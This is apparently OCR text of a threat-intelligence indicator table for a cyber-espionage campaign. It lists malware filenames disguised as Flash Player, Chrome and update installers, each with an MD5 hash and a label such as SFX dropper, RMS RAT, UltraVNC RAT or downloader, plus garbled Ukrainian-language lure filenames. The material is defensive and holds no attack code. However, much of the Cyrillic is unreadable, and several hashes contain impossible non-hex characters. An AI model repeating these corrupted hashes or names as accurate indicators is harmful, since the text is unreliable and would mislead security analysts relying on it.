KoHTpoJbOBaHiCTE TepuTOpiM 622CES511E8F8A68FACIOFEBO6536CC8FB SFX Dropper in

cunaMn ATO cTaHOM Ha CyberEqﬁonage

16.02.2015 (pamoum i wmicra, Canuxﬂgn

gkl nepebyBaonTb IIin

KOHTPOJIEM) . SCY

IndopMalLiMHUM OTJISI MOIO EC3F4213CC34ED77378DF945058B79RB0 SFX]Dropperin

Tepopm§?qumx sarpo? Ta Cyber Espionage

NpoTKInii TepopusMy (CTaHOM Ha :

07 rom. 30 xB. 13 ciuusg 2015 Canuxngn

poky) ATL npm CB YkpalHu.scr

Iponosuuil nisa C62438A6AB1D37DF5AFCT712CE14995D9 SFXIhﬂpperin

MiHiHOpPacTPyKTypyu YKpalHu Cyber Espionage

ﬂASTY «prsaniSH@uH» jiife}sfe} Campaign

PO3MillEeHHA MYyHKT1B KOHTPOJIO

Ha 3aJli3HMYHOMY TPAaHCIOP.SCr

Illomo rpoMansaH YKpalHU 2FCF797F2134BB860F784CA8F5BAC4D7 SFX]Dropperin

YyxmHosa C.B., 26.08.1979 Cyber Espionage
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Filename

MD5

Observable

p.H. Ta OJNOakoBChb
15.09.1971 p.H.,
OiganpHOCTi.Sscr

xkro C.B.,
Akl cnpuanu

Campaign

setup updates.exe

AB567F299FD45509554EEEEA578C967D

SFX Dropper in
Cyber Espionage
Campaign

setup updates.exe

83C4D4FAD2BBC3385E84ED4AE9767CDB

SFX Dropper in
Cyber Espionage
Campaign

install flashplayer aih.

exe

9FCFF92538E35CD213A576D82E318C74

SFX Dropper in
Cyber Espionage
Campaign

install flashplayer aih.

exe

4E3D45AA75822C52750EC5055697C964

SFX Dropper in
Cyber Espionage
Campaign

install flashplayer aih.

exe

FDOAF8CFAOD76E84CC783352A44E02E9

SFX Dropper in
Cyber Espionage
Campaign

install flashplayer aih.

exe

501A8319DFE24D7831533BD9B7F505E2

SFX Dropper in
Cyber Espionage
Campaign

install flashplayer aih.

exe

CODES1CAB6447BD557EABALLIEASF413F

SFX Dropper in
Cyber Espionage
Campaign

install flashplayer aih.

exe

FBO5DEOCC4413A25E6D53FA25C3C5C0E

SFX Dropper in
Cyber Espionage
Campaign

install flashplayer aih.

exe

4795FE6F5CES557F6CBBA6457B7931CC

SFX Dropper in
Cyber Espionage
Campaign

rms5.2.1.msi

2ABAF6748B3B3A8AAD84F715AE3BD3C1

RMS RAT in Cyber
Espionage
Campaign

rms5.2.1.msi

9EEBCEE6F54B469A75D1360DAF24FBB8

RMS RAT in Cyber
Espionage
Campaign

rms5.2.1.msi

954764B31168F7C32C922321E3304403

RMS RAT in Cyber
Espionage
Campaign

rms5.2.1.msi

2DD8A3312635936041C686B5FCS51COFF

RMS RAT in Cyber
Espionage
Campaign

rms5.2.1.msi

B59DCA29C975258A83B24599B4000D6D

RMS RAT in Cyber
Espionage
Campaign

den.exe

40F7CCT7F30C30C79AD7541A4CFOBF72B

DNS Redirection
Malware in Cyber
Espionage
Campaign

FlashPlayerUpdate

S.exe

A25CA9F94E43D35104AB4482100D630A

SFX Dropper in
Cyber Espionage
Campaign

getcrome.exe

11C4601D3968F689E87C71E6687A3853

Downloader in
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Filename

MD5

Observable

Cyber Espionage
Campaign

getcrome.exe

90F8F8EA411D767D833F9697DDODABF4

Downloader in
Cyber Espionage
Campaign

chrome-xvnc-v5517.

exe

D29050BAEO2ADC38E28FCF33622C06E9

SFX Dropper for
UltraVNC RAT and
its Config Files in
Cyber Espionage
Campaign

chrome-xvnc-v5517.

exe

33ACB5B49688E609EF414EC762F180FB

SFX Dropper for
UltraVNC RAT and
its Config Files in
Cyber Espionage
Campaign

chrome-xvnc-v5517.

exe

09503CEEEESEFF7FDBC75BB4E45012E7

SFX Dropper for
UltraVNC RAT and
its Config Files in
Cyber Espionage
Campaign

chrome-xvnc-v5517.

exe

3169E1F0B5B6590C394E5785ED49DESB

SFX Dropper for
UltraVNC RAT and
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